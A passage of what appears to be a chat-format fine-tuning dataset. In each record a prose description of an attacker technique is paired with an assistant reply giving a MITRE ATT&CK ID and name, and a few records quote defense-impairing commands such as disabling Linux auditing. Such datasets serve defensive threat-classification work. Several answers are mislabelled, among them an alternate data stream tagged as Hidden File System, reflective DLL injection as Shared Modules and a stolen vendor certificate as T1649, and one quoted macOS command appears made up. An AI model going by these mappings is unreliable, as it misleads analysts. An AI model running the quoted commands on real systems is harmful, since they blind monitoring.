                "content": "The attacker uses custom obfuscation routines to transform exfiltrated data, making it appear as benign traffic."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker compromises a VPS by exploiting a known vulnerability in the web hosting control panel and installs a webshell."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-compromise tool issues the command 'logshow -delete' on macOS to purge the unified logging system entries."
            },
            {
                "role": "assistant",
                "content": "T1070.002 - Indicator Removal: Clear Linux or Mac System Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion script runs a command to unmap and delete all network shares that were used for staging files."
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses the Registry's 'Image File Execution Options' to hijack a legitimate binary."
            },
            {
                "role": "assistant",
                "content": "T1574.012 - Hijack Execution Flow: Image File Execution Options Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker manipulates Kerberos ticket renewal processes to obtain long‑lived tickets for privileged accounts."
            },
            {
                "role": "assistant",
                "content": "T1558 - Steal or Forge Kerberos Tickets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromise involves planting a malicious .dll in a location that the operating system's dynamic linker will prioritize, leading to execution of the payload when the application starts."
            },
            {
                "role": "assistant",
                "content": "T1574.006 - Hijack Execution Flow: Dynamic Linker Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder uses the \"auditctl -e 0\" command to temporarily suspend the Linux audit system during credential dumping."
            },
            {
                "role": "assistant",
                "content": "T1562.012 - Impair Defenses: Disable or Modify Linux Audit System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool executes a reverse shell through the Control Panel executable to bypass endpoint detection."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors tamper with container images stored in an internal registry, embedding a hidden command‑and‑control module."
            },
            {
                "role": "assistant",
                "content": "T1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates a new process and inserts it under a legitimate parent process in the Windows process tree to hide its malicious activity."
            },
            {
                "role": "assistant",
                "content": "T1036.009 - Masquerading: Break Process Trees"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor enumerates DNSSEC records and extracts associated digital certificates from public repositories."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The technique involves registering a malicious AppCert DLL that the system automatically loads during the startup of a legitimate application."
            },
            {
                "role": "assistant",
                "content": "T1546.009 - Event Triggered Execution: AppCert DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code invokes the __EventFilter and __FilterToConsumer classes to trigger DLL execution on startup."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware employs reflective DLL injection, copying the shared module into memory and executing it without writing to disk."
            },
            {
                "role": "assistant",
                "content": "T1129 - Shared Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised administrators download GPP backup files from the SYSVOL share to retrieve stored credentials for domain accounts."
            },
            {
                "role": "assistant",
                "content": "T1552.006 - Unsecured Credentials: Group Policy Preferences"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor drops a malicious DLL and registers it as an AppCert DLL, causing the legitimate application to load it on startup."
            },
            {
                "role": "assistant",
                "content": "T1546.009 - Event Triggered Execution: AppCert DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code leverages a built‑in Windows function to decode a base64‑encoded PowerShell command embedded in an email attachment."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor leverages SharePoint’s REST endpoint to perform a recursive folder enumeration, extracting password policy documents."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor uses data obfuscation by interspersing junk bytes within configuration files, making reverse‑engineering of the payload more challenging."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a self-destruct feature that deletes all executable artifacts from the system after use."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors edited Group Policy to disable audit logging on all domain computers."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a vulnerable browser extension, the attacker intercepted and recorded credential data entered on a public-facing web portal."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the red team executed mshta.exe with a local .hta file that spawns a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware leverages token impersonation to duplicate a high‑privilege token and spawn a new process as Administrator."
            },
            {
                "role": "assistant",
                "content": "T1134.001 - Access Token Manipulation: Token Impersonation/Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uploads an RSA‑encrypted archive containing stolen files to a public file‑sharing service via an HTTP POST request, bypassing typical C2 pathways."
            },
            {
                "role": "assistant",
                "content": "T1048.002 - Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor changes Windows Event Log settings to prevent security alerts from being recorded, effectively blocking indicators that would flag malicious activity."
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intruder adds a stored procedure that enumerates Active Directory user accounts through linked server queries and reports them back to C2."
            },
            {
                "role": "assistant",
                "content": "T1505.001 - Server Software Component: SQL Stored Procedures"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware captures and replays a legitimate SMB session to maintain persistent access."
            },
            {
                "role": "assistant",
                "content": "T1563 - Remote Service Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors compromised a build server, extracted its code signing private key, and used it to sign trojanized binaries."
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Obtain Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group writes a new banking trojan to exfiltrate credentials from targeted victims."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT utilizes a staged payload, retrieving the second stage binary from a cloud storage bucket."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PowerShell script triggers a resource exhaustion bug in the Windows Event Log service, leading to endpoint DoS."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A sophisticated backdoor embeds its malicious DLL within an alternate data stream of a legitimate system file, evading detection."
            },
            {
                "role": "assistant",
                "content": "T1564.005 - Hide Artifacts: Hidden File System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker spoofs the victim's IP address and sends DNS queries to open resolvers, causing the resolvers to flood the victim with large DNS responses."
            },
            {
                "role": "assistant",
                "content": "T1498.002 - Network Denial of Service: Reflection Amplification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Utilizing a Windows API, the threat actor extracts the smart card's certificate and private key to clone the card for unauthorized access."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries harvested hostnames from DNS zone transfers to map out other machines in the environment."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use a custom script to overwrite the file timestamps and remove any reference to the original tool used in the intrusion."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Obfuscated Files or Information: Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sets up Emond to execute a PowerShell backdoor whenever a specific Event ID related to process creation is logged."
            },
            {
                "role": "assistant",
                "content": "T1546.014 - Event Triggered Execution: Emond"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider uses ARP cache poisoning to redirect all DNS queries to a rogue DNS server controlled by the attacker."
            },
            {
                "role": "assistant",
                "content": "T1557.002 - Adversary-in-the-Middle: ARP Cache Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor enumerated and downloaded secrets from Azure Key Vault after compromising an Azure admin account."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers use the Cloudflare API to pull organization groups aiming to locate groups that control DNS settings."
            },
            {
                "role": "assistant",
                "content": "T1069.003 - Permission Groups Discovery: Cloud Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised credentials were used to log into Office 365 and delete all messages in the Inbox to obscure malicious communications."
            },
            {
                "role": "assistant",
                "content": "T1070.008 - Indicator Removal: Clear Mailbox Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder inserts a new entry into the user's crontab that calls a Python script which contacts a C2 server for command execution."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses PowerShell to retrieve the computer name, domain, and network configuration details."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a COM object with a custom implementation and points it to a malicious payload, then runs verclsid.exe to proxy the execution of the payload."
            },
            {
                "role": "assistant",
                "content": "T1218.012 - System Binary Proxy Execution: Verclsid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the cmstp command-line tool, the threat actor proxied execution of a PowerShell script hidden within an INF module."
            },
            {
                "role": "assistant",
                "content": "T1218.003 - System Binary Proxy Execution: CMSTP"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script delays execution until it detects mouse movements and clicks, aborting if no user input is observed, to avoid analysis in a sandbox."
            },
            {
                "role": "assistant",
                "content": "T1497.002 - Virtualization/Sandbox Evasion: User Activity Based Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing a kernel module bug, the attacker induces a system hang that stops all user activity on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign used malicious links in direct messages that led users to a phishing site where their Twitter credentials were captured."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker delivers a Visual Basic script that is compiled into an executable on the endpoint, leveraging the local development environment to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1027.004 - Obfuscated Files or Information: Compile After Delivery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cyber espionage group conceals a phishing payload inside the least significant bits of JPEG files uploaded to a public website."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Obfuscated Files or Information: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses PowerShell's Get-ItemProperty on the uninstall registry path to collect software information."
            },
            {
                "role": "assistant",
                "content": "T1592.002 - Gather Victim Host Information: Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary initiated a remote PowerShell session over WinRM, enabling external operators to execute commands on the host system."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set used a compromised domain controller to edit the 'Domain Policy' in Active Directory, enabling Pass-the-Hash attacks."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign sent employees a fake web-based HR portal that captures entered usernames and passwords before redirecting to the real site."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious .wsf (Windows Script File) is placed in the temporary files directory and is launched by a legitimate system utility such as rundll32.exe with the \"javascript:\" protocol, enabling the script to act as a proxy for code execution."
            },
            {
                "role": "assistant",
                "content": "T1216 - System Script Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool sends automated MFA verification code requests to the victim’s mobile device to induce user approval."
            },
            {
                "role": "assistant",
                "content": "T1621 - Multi-Factor Authentication Request Generation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Trojan uses a custom binary protocol over port 443 to maintain C2 connectivity."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a malicious script to stop the Windows Update service, preventing the system from receiving patches."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group compromised a server's certificate authority to issue fraudulent certificates for phishing attacks."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary enumerates printer devices attached to the system using the ‘Get-Printer’ PowerShell cmdlet."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executes \"docker-compose ps\" to list containers orchestrated by Docker Compose on the host."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The hacker obtains a stolen digital certificate to impersonate a trusted software vendor."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After stealing password hashes, the intruder cracks them offline and then logs in to the enterprise network with the recovered cleartext passwords."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary runs the `net localgroup` command to list all local security groups on the compromised workstation."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses the Linux command \"uname -a\" to gather kernel and system information from the target host."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers abused a compromised SaltStack orchestration server to issue commands that installed a persistent reverse shell on targeted hosts."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By infecting smartphones with malware, the adversary built a botnet to send spam SMS messages."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor employs WMI to invoke \"Create` method on Win32_Service\" to spawn a rogue service that launches a credential-stealing tool."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs a PowerShell command to format the C: drive, erasing all data."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operators purchase a digital certificate from a rogue CA that appears trusted, then use it to sign ransomware payloads."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining root access, the attacker runs \"logrotate\" with forced rotation and immediate deletion of old macOS system logs."
            },
            {
                "role": "assistant",
                "content": "T1070.002 - Indicator Removal: Clear Linux or Mac System Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious stored procedure is added to the application's schema, allowing the attacker to execute PowerShell commands remotely."
            },
            {
                "role": "assistant",
                "content": "T1505.001 - Server Software Component: SQL Stored Procedures"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exfiltrating a service principal's OAuth token from a compromised container, the threat actor performs lateral movement to other cloud services."
            },
            {
                "role": "assistant",
                "content": "T1550.001 - Use Alternate Authentication Material: Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious caller pretends to be a bank representative, asking the victim to verify their account number and PIN over the phone."
            },
            {
                "role": "assistant",
                "content": "T1598.004 - Phishing for Information: Spearphishing Voice"
